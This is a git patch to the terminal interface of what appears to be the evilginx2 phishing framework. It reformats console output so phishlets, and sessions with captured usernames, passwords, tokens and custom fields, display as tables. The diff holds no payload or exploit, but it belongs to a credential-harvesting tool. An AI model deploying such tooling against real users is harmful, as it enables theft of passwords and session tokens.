From 394836a35093915d5f586c2abcedeb3f55541e8d Mon Sep 17 00:00:00 2001 From: Kuba Gretzky Date: Mon, 19 Nov 2018 17:02:23 +0100 Subject: [PATCH] phishlets now displayed cleanly in a table --- core/terminal.go | 45 +++++++++++++++++++++++++++------------------ 1 file changed, 27 insertions(+), 18 deletions(-) diff --git a/core/terminal.go b/core/terminal.go index 2bee01c8b..1256e199d 100644 --- a/core/terminal.go +++ b/core/terminal.go @@ -72,7 +72,7 @@ func (t *Terminal) Close() { func (t *Terminal) output(s string, args ...interface{}) { out := fmt.Sprintf(s, args...) - fmt.Fprintf(color.Output, "\n%s\n\n", out) + fmt.Fprintf(color.Output, "\n%s\n", out) } func (t *Terminal) DoWork() { @@ -84,6 +84,8 @@ func (t *Terminal) DoWork() { t.cfg.refreshActiveHostnames() t.updateCertificates("") + t.output("%s", t.sprintPhishletStatus("")) + for !do_quit { line, err := t.rl.Readline() if err == readline.ErrInterrupt { @@ -198,6 +200,7 @@ func (t *Terminal) handleSessions(args []string) error { lgreen := color.New(color.FgHiGreen) yellow := color.New(color.FgYellow) lred := color.New(color.FgHiRed) + cyan := color.New(color.FgCyan) pn := len(args) if pn == 0 { @@ -250,12 +253,23 @@ func (t *Terminal) handleSessions(args []string) error { } keys := []string{"id", "phishlet", "username", "password", "tokens", "landing url", "user-agent", "remote ip", "create time", "update time"} - vals := []string{strconv.Itoa(s.Id), lred.Sprintf(s.Phishlet), lblue.Sprintf(s.Username), lblue.Sprintf(s.Password), tcol, yellow.Sprintf(s.LandingURL), dgray.Sprintf(s.UserAgent), yellow.Sprintf(s.RemoteAddr), dgray.Sprintf(time.Unix(s.CreateTime, 0).Format("2006-01-02 15:04")), dgray.Sprintf(time.Unix(s.UpdateTime, 0).Format("2006-01-02 15:04"))} - log.Printf("\n%s\n", AsRows(keys, vals)) + vals := []string{strconv.Itoa(s.Id), lred.Sprint(s.Phishlet), lblue.Sprint(s.Username), lblue.Sprint(s.Password), tcol, yellow.Sprint(s.LandingURL), dgray.Sprint(s.UserAgent), yellow.Sprint(s.RemoteAddr), dgray.Sprint(time.Unix(s.CreateTime, 0).Format("2006-01-02 15:04")), dgray.Sprint(time.Unix(s.UpdateTime, 0).Format("2006-01-02 15:04"))} + log.Printf("\n%s", AsRows(keys, vals)) + + if len(s.Custom) > 0 { + var ckeys []string = []string{"custom", "value"} + var cvals [][]string + for k, v := range s.Custom { + cvals = append(cvals, []string{dgray.Sprint(k), cyan.Sprint(v)}) + } + log.Printf("\n%s", AsTable(ckeys, cvals)) + } if len(s.Tokens) > 0 { json_tokens := t.tokensToJSON(pl, s.Tokens) - t.output("%s", json_tokens) + t.output("%s\n", json_tokens) + } else { + t.output("\n") } break } @@ -392,7 +406,7 @@ func (t *Terminal) handlePhishlets(args []string) error { } out += t.cfg.GetServerIP() + " " + h } - t.output("%s", out) + t.output("%s\n", out) return nil } } else if pn == 3 { @@ -421,15 +435,15 @@ func (t *Terminal) handlePhishlets(args []string) error { } out := "" n := 0 - yellow := color.New(color.FgYellow) + hblue := color.New(color.FgHiCyan) for _, u := range urls { if n > 0 { out += "\n" } - out += yellow.Sprint(u) + out += hblue.Sprint(u) n += 1 } - t.output("%s", out) + t.output("%s\n", out) return nil } } @@ -544,13 +558,14 @@ func (t *Terminal) updateCertificates(site string) { } func (t *Terminal) sprintPhishletStatus(site string) string { - ret := "" higreen := color.New(color.FgHiGreen) hired := color.New(color.FgHiRed) hiblue := color.New(color.FgHiBlue) yellow := color.New(color.FgYellow) hiwhite := color.New(color.FgHiWhite) n := 0 + cols := []string{"phishlet", "author", "active", "status", "hostname"} + var rows [][]string for s, _ := range t.cfg.phishlets { if site == "" || s == site { pl, err := t.cfg.GetPhishlet(s) @@ -566,19 +581,13 @@ func (t *Terminal) sprintPhishletStatus(site string) string { if t.cfg.IsSiteHidden(s) { hidden_status = hired.Sprint("hidden") } - if n > 0 { - ret += "\n\n" - } - ret += " phishlet: " + hiblue.Sprint(s) + "\n" - ret += " author: " + hiwhite.Sprint(pl.Author) + "\n" - ret += " active: " + status + "\n" - ret += " status: " + hidden_status + "\n" domain, _ := t.cfg.GetSiteDomain(s) - ret += " hostname: " + yellow.Sprint(domain) n += 1 + + rows = append(rows, []string{hiblue.Sprint(s), hiwhite.Sprint(pl.Author), status, hidden_status, yellow.Sprint(domain)}) } } - return ret + return AsTable(cols, rows) } func (t *Terminal) phishletPrefixCompleter(args string) []string {